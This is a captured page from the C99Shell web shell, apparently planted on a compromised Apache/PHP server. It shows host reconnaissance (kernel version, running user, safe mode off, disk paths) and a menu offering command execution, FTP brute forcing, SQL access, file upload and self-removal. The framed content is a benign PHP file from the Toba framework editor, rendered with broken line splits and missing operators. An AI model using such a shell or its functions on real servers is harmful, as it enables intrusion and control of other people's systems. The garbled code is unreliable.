!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/proyectos/toba_editor/php/customizacion_toba/   drwxr-xr-x
Free 14.72 GB of 61.93 GB (23.77%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     contexto_ejecucion_editor.php (2.14 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

class contexto_ejecucion_editor implements toba_interface_contexto_ejecucion
{
    public 
$tiempo_minimo_control 30//tiempo expresado en segundos
    
protected $chequeado false;
    
    function 
conf__inicial()
    {
        require_once(
'admin_util.php');        
        
//*********  FRAMES entorno EDICION ************
        //-- FRAME control
        
define('apex_frame_control''frame_control');
        
//-- FRAME lista
        
define('apex_frame_lista''frame_lista');
        
//-- FRAME central
        
define('apex_frame_centro''frame_centro');
        
// Emular el contexto en el consumo por consola.
        
if (php_sapi_name() === 'cli') {
            
toba_editor::iniciar(toba::instancia()->get_id(), toba_editor::get_id());
            
toba_editor::referenciar_memoria();
        }
        
toba_zona::set_modo_url(true);
        
$clases = array('ci_editores_toba');
        
toba_modelo_proyecto::set_clases_excluidas_autoload($clases);
    }

    function 
conf__final()
    {
        
//Deshabilitado hasta encontrar una forma mas eficiente de llevarlo a cabo
        /*$chequeo_activado = toba::instalacion()->chequea_sincro_svn();
        if (toba_editor::activado() && ! $this->chequeado && $chequeo_activado) {
            //Realizo el control sobre las revisiones de codigo
            $ultimo_control = toba::memoria()->get_dato('ultimo_control_revision');
            $actual = time();
            if (is_null($ultimo_control)) { //Para la primera vez que entra
                $ultimo_control = 0;
            }
            //Si pasaron mas de 30 sgs disparo el control
            if ($ultimo_control < ($actual - $this->tiempo_minimo_control)) {
                $this->chequear_sincro_svn();
                //Seteo el ts del ultimo control
                toba::memoria()->set_dato('ultimo_control_revision', $actual);
            }
        }*/
    
}
    
    function 
chequear_sincro_svn()
    {
        
$this->chequeado true;
        
$proy toba_editor::get_modelo_proyecto();
        try {
                
$proy->chequear_actualizacion_prematura();
        } catch(
toba_error_def $e) {
                
//Hubo update prematuro
                
$msg $e->getMessage();
                
$msg str_replace("\\""\\\\"$msg);
                
$msg nl2br($msg);
                
toba::notificacion()->agregar($msg'error');
                
//Muestro msg de error si los hubiera
                
$tags_js toba::memoria()->get_servicio_solicitado() != 'html_parcial';
                
toba::notificacion()->mostrar($tags_js);
        } catch(
toba_error $e) {}        
    }

}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.8121 ]--